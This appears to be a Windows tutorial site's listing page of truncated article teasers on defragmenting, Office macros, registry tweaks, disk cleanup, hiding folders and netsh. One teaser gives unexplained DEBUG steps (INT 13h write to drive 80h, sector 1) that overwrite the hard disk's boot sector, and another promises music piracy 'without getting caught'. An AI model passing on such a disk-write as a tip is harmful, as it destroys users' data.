Windows Operating System Tutorials

Microsoft Windows operating system articles, tutorials and resources
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Why must we Defrag the computer? As everyone know once in a while everyone must defrag their computer. But do you really know why? Here i will show you basically why you must do it. When you start up a program the RAM (Randomly Access Memory) must find the files to the program you wanna start...
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MSRUN32.EXE can also use the following file names: 85554439.DAT 55752542.DAT TRUE_LOVE.EXE UGADI ANIMATION.EXE ANIMATION.EXE B2W_APRILFOOL_WEBDUNIYA.EXE WALLPAPER.EXE JPG.EXE
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1. Same process as a MS Word document. From Excel, fire up the VB editor (ALT+F11). 2. The Visual Basic interface will open up. From the INSERT menu, click on MODULE to add a module. 3. A new document opens up. In there, paste the following code: Sub RemoveHyperLinksGLobally() Dim i As...
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Tired of getting Microsoft Office documents (Word, Excel, Powerpoint) that are chock-full of hyperlinks that are bright blue and easy to accidentally click, making Word goes berserk and open the link? You can easily remove all those pesky URLs with a simple macro to remove all the hyperlinks...
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Introduction If some viruses are attacked especially a variant of autorun. U'll see an "Open with..." dialog when u try to open a drive. Here are the steps to delete it from ur hard drive. Goto command prompt and goto the drive where u'll get the "Open with..." dialog. To do this step...
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Are you tired of seeing the Outlook Express splash screen everytime you start it? Here's how you can stop it. 1. Open your registry by clicking on Start > Run > Type: "regedit" and find or create the key below. 2. Create a new DWORD Value called 'NoSplash' in the key: . 3. Change the value to...
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It's a very common problem that many newbies almost always ignore to correct; that when you try to the Disk Cleanup tool, it may stop responding after giving these messages: Disk Cleanup is calculating how much space you will be able to free on (C:). This may take a few minutes to...
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Place the following in a file titled ls.bat: @echo off dir %* /n/p or under Windows 98 since %* and /n are not supported: @echo off dir %1 %2 %3 %4 %5 %6 %7 %8 %9 /w/p
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Boot to DOS MODE 0.Type Debug and press enter 1.At the "-" prompt type A and then enter 2.Type MOV AX, 0301 then enter 3.Type MOV BX, 0020 then enter 4.Type MOV CX, 0001 then enter 5.Type MOV DX, 0080 then enter 6.Type INT13 then enter 7.Press enter again 8.Type G and then Enter
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Introduction To my first article. Its about Add-ons in firefox... A lot of us use Firefox these days, and some maybe just using plain firefox. Although its pretty good even then, you can spice it up and make it a lot more useful with add-on features... I am listing here few of the add-ons...
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If you've ever run the Windows XP's Disk Cleanup utility, you probably discovered that your temporary files occupy a significant amount of space. You might select the Temporary Files check box in order to allow the Disk Cleanup utility to delete the files in the Temp folder, but the Disk Cleanup...
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This tutorial explains a way to get free music without getting caught. This tutorials method may take a longer time to get the free music than file sharing systems, but, there is no chance that you get caught because the process that is performed runs only on your computer, not another persons...
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Windows Vista SuperFetch enables programs and files to load much faster than they would on Windows XP–based PCs. When you're not actively using your computer, background tasks—including automatic backup programs and antivirus scans—run when they will least disturb you. These background tasks can...
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INTRODUCTION Many of us would have used a local webserver for designing websites or for previewing. This is where the 'localhost' comes. We always give http://localhost or http://127.0.0.1 to tell the browser to take the files from the local web server instead of going into the internet. How and...
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Ever wish you could make one of your computer's drives invisible to anyone snooping around on your system? Well, happy days are here my friend! Whether you have sensitive docs, pictures, or any other private data, this is one of the easiest ways to keep them safe. Keep in mind that you'll still be...
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Introduction Hello everyone. :) Good morning/afternoon/evening/whatever :p First of all, thank you all for your feedback on my articles. :pleased: This is my 2nd article in the OS/Windows section. I hope this article will be enjoyable and useful for all. ;) Some years back, I badly required...
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By sharing a folder in Windows XP Professional, it usually means that you want network users to be able to find and access the folder in the My Network Places tool. If you want to share a folder with only certain users, you can use the Net command line tool to essentially hide your computer and...
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Introduction This is an article on how to change IP using batch file using the DOS command NETSH Background I'm writing this article as this has helped me a lot as I've to use my office laptop both at office and at home, and at office I've to use domain account which is very much...
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HOW TO CHECK FOR VIRUSES: Open up Task Manager to get access to you may do this (CTRL + Skrif + ESC) (open command prompt type "taskmgr.exe) (CTRL + ALT + DEL) When you have up your Task Manager go to Processes and check what files so are running on your computer. If you see files with unormal...
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This is THE coolest way to hide and trick folders in Windows. This is best utilized at work or at school where you can carry the key on a USB and just keep the locked folders on the computers you visit often. The Method This will be a lock and key method. Where locked the folder will become...
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